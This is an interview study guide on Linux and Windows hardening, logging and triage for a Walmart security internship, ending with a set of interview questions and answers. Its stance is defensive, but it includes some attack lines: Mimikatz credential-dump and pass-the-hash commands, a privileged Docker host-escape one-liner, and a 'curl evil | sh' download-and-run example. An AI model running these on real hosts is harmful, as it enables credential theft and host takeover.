Linux and Windows security
JD line: Familiarity with Linux/Windows system security Your resume hooks: Docker, Judge0 sandbox (isolated code execution), Linux, GitHub Actions, CTF + forensics tools Size: ~3.7k words ≈ 2-hour read + 30-min lab (hands-on lab in §4).
1. Why Walmart Asks This (and How to Frame Your Answers)
Walmart runs one of the world's largest hybrid estates: millions of POS/edge devices in stores, huge Linux fleets for e-commerce (walmart.com), Windows + Active Directory for corporate, plus containers/K8s for supply-chain apps. An intern won't harden a DC on day one, but you will:
- SSH into Linux jump boxes and triage a compromised host: using a bastion to reach store or cloud servers and running first-response checks (
ps,ss, logs) without breaking evidence. - Read
auth.logand Windows Event Logs during SOC shadowing: scanning logons and privilege use for anomalies — brute force and lateral movement show first as log patterns. - Review a Dockerfile or GitHub Actions runner for privilege mistakes: spotting
--privileged, rootUSER, ordocker.sockmounts that can expose the host or build secrets. - Answer the classic opener: "Walk me through securing a fresh Linux server": giving an ordered hardening story that shows least privilege and lockout avoidance on POS-adjacent systems.
What interviewers listen for:
1. Least privilege everywhere: no root daily use, no chmod 777, no --privileged — shrink blast radius so one misconfig cannot become a breach.
2. Harden → patch → monitor → respond ordering: hardening first, then patching, then logging — not just "run apt update".
3. Blue-team mindset: logs, baselines, CIS benchmarks, and detection — preserve evidence and alert, not exploit recipes.
4. Ability to tie Linux + Windows + containers together: use the Judge0 story — we ran untrusted code, so we needed namespaces/cgroups/seccomp plus non-root.
Your 30-second pitch to reuse:
"In my Judge0 sandbox project I ran untrusted user code in Docker. So I had to think like system security: non-root users, dropped capabilities, read-only filesystem, seccomp, resource limits via cgroups, and host logging. I also use Linux daily and Windows forensics tools in CTFs — auth logs, Sysmon, Event IDs."
Walmart edge/POS flavor: store devices are hostile environments — immutable/read-only images, signed OTA updates, allowlisted egress, PCI cardholder segmentation, centralized logging. Drop this into "secure a server" answers to sound retail-aware.
2. Core Concepts with Examples
2.1 Linux File Permissions: rwx / chmod / chown
WHAT it is: three classes — owner, group, other — each with r(4), w(2), x(1). WHY it matters: POS-adjacent configs and keys live on Linux, and one loose mode lets any local user read secrets or plant persistence. HOW it works: ls -l shows symbolic form, chmod sets modes, chown/chgrp set ownership — set ownership once, then tighten to the minimum that still runs.
ls -l app.sh
# -rwxr-xr-- 1 vaibhav dev 845 Oct 13 app.sh
# owner rwx=7, group r-x=5, other r--=4 => 754
chmod 750 app.sh # owner rwx, group r-x, other ---
chmod u+x app.sh # symbolic: add execute for owner
chmod go-w secrets.txt # remove write for group/other
chown app:app /var/lib/app/data
chgrp dev report.txt
Key rules:
- Directory x vs r vs w: x traverses, r lists names, w creates/deletes entries. Use 750 on app dirs so group can enter but others cannot list.
- Configs and secrets at 600 or 640: owner-only or owner-plus-group read. Never 777 — it lets anyone rewrite code or config.
- ~/.ssh/ at 700 and authorized_keys at 600: SSH ignores keys that are group/world-writable. Check modes before debugging the key itself.
CONCRETE example: deploy writes /var/lib/app/.env as 644, so any user can cat the key. Fix with chown app:app /var/lib/app/.env && chmod 600 /var/lib/app/.env, then namei -l to catch a loose parent.
INTERVIEW sketch — "When is 777 OK?": almost never — use group ownership plus 750/640 or ACLs instead.
2.2 Special Bits: SUID / SGID / Sticky + Finding Them
| Bit | Symbol | Meaning | Classic example |
|---|---|---|---|
| SUID (4000) | s in owner exec (-rwsr-xr-x) |
Run as file owner | /usr/bin/passwd (root-owned, lets user update /etc/shadow) |
| SGID (2000) | s in group exec; on dir forces new files to inherit group |
Run as group / group inheritance | Shared /opt/dev-share |
| Sticky (1000) | t on dir |
Only owner can delete own files | /tmp (drwxrwxrwt) |
ls -l /usr/bin/passwd # -rwsr-xr-x => SUID
ls -ld /tmp # drwxrwxrwt => sticky
# Audit (must-know for interview):
find / -perm -4000 -type f 2>/dev/null # all SUID
find / -perm -2000 -type f 2>/dev/null # all SGID
find / -xdev \( -perm -4000 -o -perm -2000 \) -type f -ls 2>/dev/null
# Capital S/T = bit set WITHOUT execute => misconfig
Interview line: "Package-managed SUID like
passwd/sudois expected. Random SUID under/homeor/tmp, or world-writable SUID, is critical —chmod u-s, quarantine, check package integrity, hunt cron/systemd persistence."
WHAT they are: SUID/SGID run a program as file owner/group; sticky restricts deletion in shared dirs. WHY they matter: one extra SUID root binary gives any local user a path to root on jump-box or retail hosts. HOW to audit: ls -l for s/t, find -perm for scans; capital S/T (bit without execute) is misconfig to clean.
Modern alternative: Linux capabilities (setcap) + systemd AmbientCapabilities= grant e.g. only CAP_NET_BIND_SERVICE instead of full-root SUID.
CONCRETE example: fresh Ubuntu shows ~a dozen SUID paths (passwd, sudo, ping). If /tmp/backup-helper appears as -rwsrwxrwx, isolate, chmod u-s, check dpkg -V, and hunt cron/systemd persistence.
INTERVIEW sketch — "How do you audit SUID?": quote the two find commands, contrast expected vs /tmp results, and mention capabilities as the least-privilege replacement.
2.3 Users, Groups, sudoers, No-Root Discipline
WHAT it is: users, groups, and service accounts plus scoped sudo with logging. WHY it matters: shared jump boxes need per-user keys and scoped sudo so one leak does not become fleet root. HOW it works: named users, usermod -aG, lock root, grant only needed binaries via visudo; every use logs for SOC review.
id alice; groups alice
sudo useradd -m -s /bin/bash alice
sudo usermod -aG developers alice # -aG appends, never omit -a!
sudo passwd -l root # lock root password; use sudo
/etc/sudoers — always edit with visudo (syntax check prevents lockout):
# Least privilege: only restart nginx, no password for one safe cmd
%developers ALL=(root) /usr/bin/systemctl restart nginx, /usr/bin/systemctl status nginx
alice ALL=(root) NOPASSWD: /usr/bin/apt update
Rules:
- Scope to exact binaries with absolute paths: list /usr/bin/systemctl restart nginx, not bare systemctl — wildcards and PATH allow escapes.
- Avoid ALL=(ALL) ALL and broad NOPASSWD: reserve NOPASSWD for one automation command; keep humans passworded.
- Use groups plus /etc/sudoers.d/ files: %developers drop-ins survive upgrades; validate with visudo -c, audit with sudo -l.
- Rely on sudo logging: denied or odd sudo in auth.log is early warning.
Service accounts: non-human users with no shell — useradd -r -s /usr/sbin/nologin svc_app. A compromised app then runs as svc_app, not root, and cannot SSH in. Grant files and systemd capabilities instead of SUID.
Password and lockout: aging (chage -l), complexity (pwquality), throttling (faillock), plus getent passwd and UID-0 audits. Break-glass accounts still exist on key-only hosts, so aging and lockout contain reuse.
2.3.1 Sudoers misconfiguration walkthrough (thin-topic add-on)
CONCRETE example: deploy ALL=(ALL) NOPASSWD: ALL for CI is instant passwordless root if the key leaks. Fix with /etc/sudoers.d/deploy holding only restart/status app.service, then visudo -c and sudo -l -U deploy. INTERVIEW sketch — "Grant only restart nginx": quote the %developers line, stress absolute paths and no ALL.
2.4 SSH Hardening (sshd_config)
WHAT it is: who can SSH, how they prove identity, and which crypto is accepted. WHY it matters: weak SSH on jump boxes turns one guess into fleet access. HOW it works: daemon reads sshd_config plus sshd_config.d/ drop-ins (first value wins) — check cloud-init overrides, sshd -t, sshd -T, then reload without killing your session.
PermitRootLogin no
PasswordAuthentication no
KbdInteractiveAuthentication no
PubkeyAuthentication yes
AuthenticationMethods publickey
X11Forwarding no
MaxAuthTries 3
LoginGraceTime 60
AllowUsers deploy alice
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com
Plus: key plus passphrase protects stolen keys; nonstandard port only cuts noise; fail2ban throttles guessing; bastion+MFA plus allowlisted SGs shrink who reaches port 22. Order: allow SSH in firewall/SG and keep one session alive before enable or reload.
Key auth mechanics: ssh-keygen -t ed25519 makes the pair, ssh-copy-id appends to authorized_keys (600), ssh -i/ssh-agent presents it. Lock automation keys with from=, command=, no-port-forwarding. Stale to quote: Protocol 2 (SSHv1 removed in OpenSSH 7.6) and ChallengeResponseAuthentication (deprecated alias of KbdInteractiveAuthentication).
2.4.1 Full SSH hardening pass (thin-topic add-on)
CONCRETE pass: add AllowUsers, PermitRootLogin no, PasswordAuthentication no in 10-hardening.conf, pin Ciphers/MACs, run sudo sshd -t && sudo sshd -T | grep -i -E 'permitroot|passwordauth|allowusers', reload, and test a new login before closing the old one. INTERVIEW sketch — "Harden public SSH": no-root plus keys-only, AllowUsers, strong crypto, fail2ban plus bastion, validate-plus-spare-session.
2.5 Minimal Install, systemd, cron, Updates
WHAT this group is: reduce what runs, confine what must run, watch where attackers persist. WHY it matters: extra daemons add patch burden at scale, and cron plus timers are where miners and POS malware hide. HOW: list units, disable extras, confine with systemd, audit cron/timers, then patch.
- Minimal install — only what you need: remove
telnet,avahi, unused stacks. Check withsystemctl list-unit-files --state=enabledplusss -tulpn, thendisable --nowextras. - systemd hardening — confine even if exploited:
User=app,NoNewPrivileges,ProtectSystem=stricthide files and drop root powers so a compromised app cannot remount/:
[Service]
User=app
NoNewPrivileges=true
ProtectSystem=strict
ProtectHome=true
ReadWritePaths=/var/lib/app
PrivateTmp=true
CapabilityBoundingSet=~CAP_SYS_ADMIN
AmbientCapabilities=CAP_NET_BIND_SERVICE
- cron — persistence favorite: time jobs rerun malware after reboot. Audit
crontab -l,/etc/crontab,/etc/cron.*/*, and spool dirs (RHEL/var/spool/cron/*vs Debian/var/spool/cron/crontabs/*). Restrict withcron.allow/cron.deny. - Hunt persistence beyond cron: check
authorized_keys,/etc/ld.so.preload,~/.bashrc, timers (systemctl list-timers),atjobs. Cleaning cron alone leaves a timer that reinstalls malware. - Updates — patch known CVEs:
apt update && apt upgrade -y/dnf update, unattended-upgrades, kernel reboots. Hardening shrinks config surface; patching removes exploits — need both, proven with CIS pluslynis.
CONCRETE example: list-timers shows unknown update-cache.timer running /tmp/.x/app plus matching /etc/cron.d/app entry — treat as persistence: isolate, capture ps and binary, remove both, rotate creds.
INTERVIEW sketch — "Hardening vs patching?": hardening is config, patching is CVE fixes; harden to CIS L1, patch criticals fast, rescan.
2.6 Logging: auth.log / syslog / journal / auditd + Grep Brute Force
WHAT it is: split logs — auth, service, kernel audit — plus journalctl/auditd queries. WHY it matters: brute force, sudo abuse, and shadow tampering show first as log lines. HOW it works: auth.log/secure for SSH/sudo, syslog/journal for services, auditd for file/syscall watches, lastb for bad logins.
| Log | Path | What |
|---|---|---|
| Auth | /var/log/auth.log (Debian) / /var/log/secure (RHEL) |
SSH logins, sudo, brute force |
| System | /var/log/syslog, journalctl _COMM=sshd |
Services |
| Kernel/audit | auditd (/var/log/audit/audit.log) |
File watches, syscalls |
| Failures | lastb, lastlog |
Bad logins |
# Brute-force hunt (know this cold):
# $(NF-3) = source IP on both "for root" and "for invalid user" lines ($11 shifts on the latter)
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head
grep "Accepted" /var/log/auth.log
journalctl _COMM=sshd --since "1 hour ago" | grep -i fail # distro-neutral; -u ssh (Debian/Ubuntu), -u sshd (RHEL)
lastb | head
# auditd: watch shadow + sudoers
auditctl -w /etc/shadow -p wa -k shadow_watch
auditctl -w /etc/sudoers -p wa -k sudoers_watch
ausearch -k shadow_watch --start recent
# auditctl rules are runtime-only: persist in /etc/audit/rules.d/*.rules, load with augenrules --load
# the rule that actually records attacker commands: -a always,exit -F arch=b64 -S execve -k exec
Centralize to SIEM plus NTP — forwarding with synced clocks (chrony) keeps AD and Linux timelines comparable. Without time sync, correlation collapses.
2.6.1 Sysmon vs auditd coverage map (thin-topic add-on)
WHAT each covers: auditd is Linux file/syscall audit (-w /etc/shadow, -S execve); Sysmon is Windows telemetry — process create (1), lsass access (10), file create (11), net connect (3). Map them: execution is execve vs Sysmon 1, creds is shadow_watch vs Sysmon 10 on lsass.exe, beaconing is ss/tcpdump vs Sysmon 3/22. CONCRETE reading: Failed password for root from 203.0.113.7 200x/minute means one IP guessing root — block, check for Accepted from it, confirm fail2ban jailed it. INTERVIEW sketch — "Where is brute force?": name auth.log vs secure plus journalctl _COMM=sshd, quote the grep|awk|sort|uniq -c pipeline.
2.7 Firewalls: iptables / nftables / UFW
WHAT they are: stacked filters — cloud Security Groups plus host firewall (UFW/firewalld over iptables/nftables). WHY two layers: an SG typo still leaves host default-deny. HOW: deny inbound, allow only SSH plus needed ports, match ss -tulpn to rules, confirm management access before enabling.
# UFW (Ubuntu, easiest to quote):
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow ssh
sudo ufw allow 443/tcp
sudo ufw enable && sudo ufw status verbose
# nftables (modern) / iptables (legacy):
sudo iptables -L -n -v
sudo nft list ruleset
sudo firewall-cmd --list-all # RHEL firewalld
ss -tulpn # verify listeners match firewall intent
Interview trap: state order — "I confirm management/SSH allow before enable" (SG plus ufw allow ssh, console ready, then enable). Naming the order proves you will not lock out a POS-adjacent host.
CONCRETE example: ufw default deny incoming, ufw allow ssh, then enable — verify with ufw status verbose plus nft list ruleset. INTERVIEW sketch — "iptables vs nftables vs UFW?": same goal, different layer — iptables legacy, nftables modern, UFW/firewalld frontends, plus SGs.
2.8 FIM / fail2ban / EDR
WHAT this trio is: FIM hashes files and alerts on drift, fail2ban bans brute-force IPs, EDR watches runtime syscalls. WHY all three: FIM catches silent changes, fail2ban stops SSH noise, EDR catches behavior logs miss. HOW: baseline CIS, hash it, ban on failures, forward runtime alerts.
- FIM — hash and alert on drift: tools like AIDE/Wazuh hash
/etc/passwd,/etc/shadow, binaries. A backdoor user or replaced binary is otherwise silent — investigate every drift. - fail2ban / crowdsec — ban IPs with N failures: watch
auth.log/journal (5 fails in 10 min) and add a firewall drop. Enablesshdandnginxjails; checkfail2ban-client status. - EDR on Linux — runtime alerts: CrowdStrike, Wazuh agent, Tetragon/Falco hook exec and mounts. Check
getenforce/aa-statusfirst; neversetenforce 0in prod — useausearch -m avc | audit2why.
CONCRETE example: FIM flags /etc/passwd change plus Accepted for deploy at 03:00 plus EDR curl evil | sh — read as stolen key plus persistence: isolate, snapshot, rotate keys, hunt cron/timers. INTERVIEW sketch — "FIM vs fail2ban vs EDR?": drift vs brute force vs runtime.
2.9 The "Secure a Fresh Server" 60-Second Answer (Memorize)
WHAT it is: the ordered narrative that links update, identity, SSH, firewall, minimization, logging, and audit into one lockout-safe flow. WHY order matters at Walmart: enabling a firewall before allowing SSH, or hardening before you have a working admin, locks you out of remote store or cloud hosts. HOW to deliver it: state steps in dependency order and name one command or file per step.
- Update plus admin user:
apt update && apt upgrade, create key-based sudo admin, lock root — so later steps run as audited sudo, not shared root.- Harden SSH:
PermitRootLogin no, keys-only,AllowUsers— closes the main remote path before you expose the box.- Allow SSH then enable firewall: SG plus
ufw allow sshfirst, thenenable— prevents the classic self-lockout.- Remove unused services: minimal install,
disable --nowextras — shrinks CVE surface and listeners.- Tighten perms and sudo:
600secrets, audit SUID, scopedsudoers.d— enforces least privilege.- Enable updates, NTP, logging: auto-updates,
chrony,auditdplus fail2ban — keeps time correct and brute force jailed.- Add FIM/EDR, backups, audit: hash baseline, EDR agent, tested backups,
lynis/CIS scan — proves state and enables recovery.
This order avoids lockouts and hits every keyword. CONCRETE close: end with ss -tulpn plus lynis output as proof. INTERVIEW sketch — "Walk me through it?": recite the seven in under 90 seconds, stressing allow-before-enable.
2.10 CIS Benchmarks: Hardening vs Patching
WHAT they are: CIS Benchmarks are consensus hardening checklists per OS; hardening is config to shrink surface, patching is CVE fixes. WHY both matter for retail: hardened-but-unpatched hosts fall to known exploits, patched-but-unhardened hosts fall to weak SSH or extra services. HOW teams use them: harden to CIS L1, scan with Lynis/OpenSCAP, patch criticals on SLA, rescan for PCI/SOC2 evidence.
- CIS Benchmarks — baseline plus evidence: consensus items per OS (CIS Ubuntu 22.04 L1 Server ≈ 240 audit items, v2.0.0 = 241; L1+L2 in low 300s covering partitions, sysctl, perms). Use as hardening target and compliance proof for PCI-DSS/SOC2.
- Hardening vs patching — config vs CVE fix: hardening disables root SSH and removes services; patching applies updates. Workflow to quote: "I harden to CIS L1, patch criticals <72h, rescan."
CONCRETE example: Lynis flags PermitRootLogin yes (hardening gap) plus kernel CVE (patching gap) — fix config first, then apt upgrade and reboot, then rescan. INTERVIEW sketch — "Hardening vs patching?": define both, say need both, name CIS L1 and SLA.
2.11 Windows: AD / GPO / WDigest / LLMNR / SMBv1 / Local-Admin Sprawl
WHAT this group is: central identity (AD), scalable config push (GPO), plus three legacy protocols to kill and one credential-hygiene fix. WHY Walmart cares: 10k corporate endpoints cannot be hardened by hand — GPO plus LAPS plus tiering is the only path, and one legacy protocol (SMBv1/LLMNR/WDigest) gives ransomware or Responder a foothold. HOW to answer: name each risk, give the GPO fix, and note the verification.
- AD — central identity: users, computers, GPOs, Kerberos in one directory. Domain Controller holds
NTDS.dit(all hashes, DCSync target). Protect Tier-0 (DCs, krbtgt) most — its compromise is forest compromise. - GPO — hardening at scale: pushes password policy, SMBv1/LLMNR/WDigest disables, LSA Protection, PowerShell logging. Prefer GPO over manual edits so drift is corrected automatically.
- WDigest — reversible creds in LSASS: legacy plaintext-equivalent storage. Disable via GPO (
UseLogonCredential=0, KB2871997); audit drift withreg query ...\WDigest /v UseLogonCredentialsince Win8.1+ defaults to 0 only when absent. - LLMNR/NBT-NS — spoofable broadcast resolution: attacker with Responder answers name queries and captures hashes. Disable via GPO and enforce DNS so broadcasts never leave the host.
- SMBv1 — EternalBlue/WannaCry vector: unpatched, unsigned legacy SMB. Disable, require SMB signing (
RequireSecuritySignature), block 445 at perimeter to stop lateral spread. - Local-admin sprawl — one password everywhere: same local password on 1000 hosts means one dump owns all. Fix with LAPS (unique random per host) plus removing users from local Administrators and tiered admin (no Domain Admin logon to workstations).
- Windows host baseline — checkboxes to name: Defender plus ASR rules, Windows Firewall, BitLocker, UAC, AppLocker/WDAC. Quote these when asked to "secure the Windows box."
CONCRETE example: scan finds SMBv1 enabled on a store back-office host plus identical local admin password. Read as worm plus lateral risk: disable via GPO, rotate with LAPS, require signing. INTERVIEW sketch — "WDigest/LLMNR/SMBv1 in one line each?": reversible-store → disable; broadcast-spoof → disable; EternalBlue → disable plus signing.
2.12 Pass-the-Hash / Mimikatz / LSA Protection
WHAT it is: reuse of stolen hashes/tickets without cracking — hash is the credential on NTLM. WHY it matters for Walmart corporate AD: one admin logon to a workstation leaves a hash that can hop to servers and the DC. HOW it works: admin plus SeDebugPrivilege dumps LSASS, then replays the hash (PtH) or ticket (PtT) to auth as that user.
- LSASS — in-memory cred store:
lsass.exeholds NTLM hashes and Kerberos tickets for logged-on users. Any admin handle to it is a credential-theft attempt until proven otherwise. - Mimikatz dump plus PtH/PtT:
sekurlsa::logonpasswordsdumps hashes;sekurlsa::pth /user:Admin /domain:corp /ntlm:HASH /run:cmdspawns a process as that user without plaintext (logon Type-9seclogo). Pass-the-Ticket reuses stolen TGT/TGS and survives password reset until expiry. - Defenses — isolate and reduce NTLM: Credential Guard (VBS isolation), LSASS as Protected Process (PPL), EDR blocking lsass handles, Kerberos plus AES over NTLM, plus LAPS plus PAW so Domain Admin never logs to workstations.
- Detection — lsass access plus logon anomalies: Sysmon Event 10 on lsass (
0x1010/0x1410), 4624 Type-3/Type-9 odd hosts, 4769 RC4 (0x17) spikes for Kerberoasting. - Kerberoasting / AS-REP defence: no SPNs on user accounts, enforce pre-auth (no
DONT_REQ_PREAUTH), AES-only (drop RC4), gMSA or long random service passwords. Attack path: request TGS for SPN account → offline crack weak service password → reuse. Defence breaks each link: strong random passwords defeat cracking, AES defeats RC4 roast detection bypass, pre-auth defeats AS-REP.
Golden/Silver ticket (awareness only): WHAT they are is forged Kerberos tickets after krbtgt/service compromise. Fix is protect Tier-0, rotate krbtgt twice, monitor 4769/4768 anomalies. Never give forge steps in interview; pivot to blue. INTERVIEW sketch — "What is PtH?": hash reuse without cracking, Mimikatz dump plus pth, stop with Guard+PPL+LAPS, detect with Sysmon 10 plus 4624.
2.13 Windows Logging: Event Logs / Sysmon / PowerShell Logging
| Source | Key IDs | Meaning |
|---|---|---|
| Security 4624 / 4625 | logon success / fail | Brute force = many 4625; PtH = 4624 Type-3/9 odd host |
| 4672 | special privileges | Admin logon |
| 4768 / 4769 | TGT / TGS request | 4769 RC4 burst = Kerberoasting; 4768 pre-auth 0 = AS-REP roast |
| 4662 | replication | non-DC doing replication = DCSync (logged on the DC; replication GUIDs 1131f6aa-…/1131f6ad-… in Properties) |
| Sysmon 1/10/11 | process create / lsass access / file create | EDR-grade telemetry |
| Sysmon 3 / 22 | network connect / DNS query | Beaconing / C2 detection |
| 1102 / 4720 / 4732 / 7045 | log cleared / user created / member added / service installed | IR + persistence staples |
| PowerShell 4104 / 4103 | ScriptBlock / Module | Deobfuscated payloads; enable via GPO (4688 is Security-log process creation — needs Audit Process Creation + command line) |
Deploy Sysmon with SwiftOnSecurity config on all hosts, forward to SIEM (Splunk). Pair IDs with baselines, not "ID bingo."
WHAT this table is: the minimum Windows IDs that prove brute force, theft, replication abuse, and persistence. WHY baselines matter: 4625s or 4769s alone are noise — a burst plus RC4 plus a honeypot SPN is a Kerberoasting case. HOW to use it: forward Security plus Sysmon Operational plus PowerShell Operational to Splunk, alert on combos. CONCRETE reading: 200x 4625 for Administrator then one 4624 Type-3 from a new host means guessed password plus lateral logon — isolate, rotate, hunt Sysmon 10 on lsass. INTERVIEW sketch — "Which logs catch theft?": 4624/4625 plus 4768/4769 plus Sysmon 10 plus 4104, shipped via Sysmon to Splunk.
2.14 Must-Know Triage Commands
WHAT this set is: process, socket, listener, packet, log, file, and service checks that answer "what runs, what listens, what changed." WHY order matters: capture volatile evidence (ps, lsof, tcpdump, logs) before isolating or killing, or forensics is gone. HOW on Walmart jump boxes: run ps plus ss/lsof first, then logs and find, then systemctl/journal, snapshot, then isolate via SG.
ps aux --forest # processes; look for miners, odd python -c
lsof -i -P -n # open files/sockets by process
netstat -tulpn; ss -tulpn # listeners (ss is modern netstat)
tcpdump -i eth0 -n port 22 -c 50 # packet capture (lab only)
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head
find /tmp /home \( -perm -4000 -o -perm -0002 \) -type f 2>/dev/null # -perm -777 misses 666
systemctl status nginx; systemctl list-unit-files --state=enabled; journalctl -xe
Windows (use Get-WinEvent, not legacy Get-EventLog): WHAT to run is Get-WinEvent for 4625/4769, whoami /priv plus Get-LocalGroupMember Administrators for privilege, tasklist /svc plus sc query for services, autoruns plus netstat -ano for persistence and beacons. WHY Get-WinEvent matters is it queries modern logs that Get-EventLog misses. CONCRETE triage: ps aux --forest shows python -c miner child of nginx, ss -tulpn shows odd high-port listener, find /tmp -perm -0002 shows world-writable payload — snapshot, isolate, rotate creds. INTERVIEW sketch — "Strange outbound traffic?": list ps/ss/lsof/tcpdump/logs/find, stress snapshot-before-kill.
2.15 Container Isolation: Namespaces / cgroups / seccomp + Docker Escapes
Containers = isolated Linux processes sharing host kernel (not VMs). WHAT that means: namespaces limit what is seen, cgroups limit what is consumed, seccomp plus caps plus MAC limit what can be done. WHY it matters for Judge0 and Walmart supply-chain apps: untrusted code shares the kernel, so one --privileged or sock mount is host root. HOW to reason: check visibility, budget, and syscall/capability filters together.
- Namespaces — what it sees: pid, net, mnt, uts, ipc, user, cgroup isolates view.
--network=host/--pid=hostbreaks it. User namespace maps container root to unprivileged host UID (default in rootless,--userns-remapfor rootful) — the strongest upgrade. - cgroups v2 — what it consumes:
memory.max,cpu.max,pids.maxcap DoS and fork-bombs. K8sresources.limitsmap here, which is how Judge0 timeouts plus memory limits work. - seccomp-BPF — syscall filter: Docker default blocks ~44 of 300+ syscalls (
mount,ptrace,reboot). Never--security-opt seccomp=unconfinedin prod; use custom JSON allowlists for payments/nginx. - Capabilities — split root: Docker drops most by default. Use
--cap-drop ALLplus only needed (NET_BIND_SERVICE).--privilegedrestores all plus devices and disables seccomp/AppArmor — treat as host root. - AppArmor/SELinux — MAC over files/actions:
--security-opt apparmor=docker-defaultconfines even a process that escapes caps. Keep enforcing; do not disable to "fix" apps.
Top escapes (all misconfig, not 0-day):
1. --privileged / CAP_SYS_ADMIN — full host access: lets container remount host fs and pivot. Deny via admission policy; detect Falco privileged start.
2. docker.sock mount — daemon control: container driving /var/run/docker.sock can start a new privileged container (host root). Never mount; use a sidecar. Detect sock-access alerts.
3. hostPath: / or writable /etc/cron* — host file overwrite: lets container rewrite shadow or cron. Use read-only plus allowlisted mounts; detect writes to /etc/cron*.
4. --pid=host / --net=host — host visibility: lets container see/kill host processes and sniff traffic. Deny host namespaces; detect host-pid shells.
5. Kernel CVE plus hostile tenant — needs stronger isolation: old kernel with untrusted code needs gVisor/Kata/micro-VM, not just default Docker.
CONCRETE escape: docker run --privileged -v /:/host alpine chroot /host sh drops you in host root — read /host/etc/shadow, add cron, pivot. Harden with non-root USER, --cap-drop ALL, no-new-privileges, --read-only, no sock/host mounts, pinned plus scanned images (Trivy/Grype, Cosign), Falco/Tetragon alerts; in K8s allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, runAsNonRoot: true.
Your Judge0 tie-in: "We ran untrusted code, so we used non-root, timeouts + cgroup memory/pids limits, read-only FS, dropped caps, no sock mount."
3. Real Interview Q&A (18)
Q1. Walk me through securing a fresh Ubuntu server you just got SSH access to.
A: Update, create sudo admin with key + lock root, harden sshd_config (no root/keys only), allow SSH in SG/UFW before enabling firewall, remove unused services, least-privilege sudoers + 600 secrets, audit SUID, enable NTP + auditd + fail2ban + auto-updates, add FIM/EDR + backups, verify with lynis/CIS scan and ss -tulpn. Order prevents lockout.
Q2. Explain rwx and what chmod 754 means. When is 777 ever OK?
A: Owner/group/other × read(4)/write(2)/exec(1). 754 = rwxr-xr--. 777 is almost never OK — means any user can write/execute. Fix with group ownership + 750/640 or SGID dir + ACLs. If someone says "quick fix 777," that's a reject signal.
Q3. What do SUID/SGID/sticky do? How do you audit them?
A: SUID runs as file owner (passwd→root), SGID runs as group or inherits group on dirs, sticky on /tmp stops users deleting others' files. Audit: find / -perm -4000 -type f 2>/dev/null (and -2000). Treat unexpected SUID under /tmp//home or world-writable SUID as critical: chmod u-s, quarantine, check dpkg -V/rpm -V, hunt cron/systemd persistence.
Q4. A world-writable SUID root binary is found. Impact + steps?
A: Critical privesc risk. Even though kernel clears SUID on user write without CAP_FSETID, root-owned binary stays — anything root runs (cron/unit/admin) executes attacker code. Remove bit, isolate host, compare package integrity, review auth.log/shell history, hunt new UID-0 users (awk -F: '$3==0' /etc/passwd) and cron/units.
Q5. How do you grant a dev only systemctl restart nginx via sudo?
A: Drop file in /etc/sudoers.d/ via visudo: %developers ALL=(root) /usr/bin/systemctl restart nginx. Validate visudo -c, test sudo -l. No ALL, no broad NOPASSWD. Prefer absolute paths (PATH hijack otherwise).
Q6. Harden SSH for a public-facing box.
A: PermitRootLogin no, PasswordAuthentication no, keys + passphrase, AllowUsers, MaxAuthTries 3, strong Ciphers/MACs, disable X11Forwarding, fail2ban, SG allowlist/bastion, keep OpenSSH patched. Validate sudo sshd -t, verify sudo sshd -T, apply with reload and one session kept alive.
Q7. ufw enable locked you out. What happened and how to prevent?
A: Enabled default-deny before allowing SSH. Prevention: ufw allow ssh + cloud SG allow + console access first, then enable. Recovery via cloud console/serial. In interview always say "allow management before enable."
Q8. Where do you look for SSH brute force? Show commands.
A: /var/log/auth.log (Debian) / /var/log/secure (RHEL) + journalctl _COMM=sshd (or -u ssh on Debian/Ubuntu, -u sshd on RHEL — on Ubuntu journalctl -u sshd silently returns nothing). grep "Failed password" auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head, lastb. Response: confirm allowlist, fail2ban/crowdsec, keys-only + MFA/bastion, centralize to SIEM.
Q9. iptables vs nftables vs UFW — which to use?
A: Same goal, different layer: iptables (legacy), nftables (modern kernel framework), UFW/firewalld (friendly frontends), plus cloud SGs. Host + SG are defense-in-depth. Quote UFW commands, mention nft list ruleset for modern, always default-deny inbound.
Q10. What is auditd and what would you watch?
A: Kernel audit daemon for file/syscall watches. auditctl -w /etc/shadow -p wa -k shadow_watch, same for sudoers/authorized_keys, ausearch -k shadow_watch --start recent. Forward to SIEM; needs time sync.
Q11. Hardening vs patching? What are CIS Benchmarks? A: Hardening = config to shrink surface; patching = fix known CVEs. Need both. CIS Benchmarks are consensus hardening checklists (L1 safe-defaults, L2 high-security). Workflow: harden to CIS L1, scan with Lynis/OpenSCAP, patch criticals on SLA, rescan. Evidence for SOC2/PCI.
Q12. What is AD/GPO and why does Walmart care?
A: AD = central identity/auth (Kerberos) for corporate users; DC's NTDS.dit holds all hashes. GPO pushes hardening at scale (disable SMBv1/LLMNR/WDigest, enforce LSA Protection + PS logging). Manual host edits don't scale to 10k endpoints — GPO + LAPS + tiering do.
Q13. Explain WDigest, LLMNR, SMBv1 risks + fixes (one line each). A: WDigest stores reversible creds in LSASS → disable via GPO. LLMNR/NBT-NS broadcast resolution spoofable (Responder) → disable, use DNS. SMBv1 vulnerable (EternalBlue) → disable, require SMB signing, block 445 egress. All verifiable via GPO + scans.
Q14. What is Pass-the-Hash? How does Mimikatz enable it? How do you stop it?
A: Reusing stolen NTLM hash to auth without plaintext (hash is the credential). With admin, Mimikatz sekurlsa::logonpasswords dumps LSASS, sekurlsa::pth spawns process with stolen hash (logon Type-9 seclogo). Stop: Credential Guard + LSASS PPL + EDR, reduce NTLM → Kerberos/AES, LAPS + PAW, no Domain Admin on workstations. Detect: Sysmon EID 10 lsass access (0x1010/0x1410), 4624 T3/T9 anomalies, 4769 RC4 spikes.
Q15. Which logs catch credential theft on Windows?
A: Security 4624/4625 (logon), 4672 (privileged), 4768/4769 (Kerberos — RC4 0x17 burst = Kerberoasting, pre-auth 0 = AS-REP roast), 4662 from non-DC = DCSync, Sysmon 1/10/11 (process/lsass/file) + 3/22 (net/DNS beaconing), 1102/4720/4732/7045 (clear/create/modify), PowerShell 4104/4103. Ship with Sysmon (SwiftOnSecurity) to Splunk; alert on honeypot SPN.
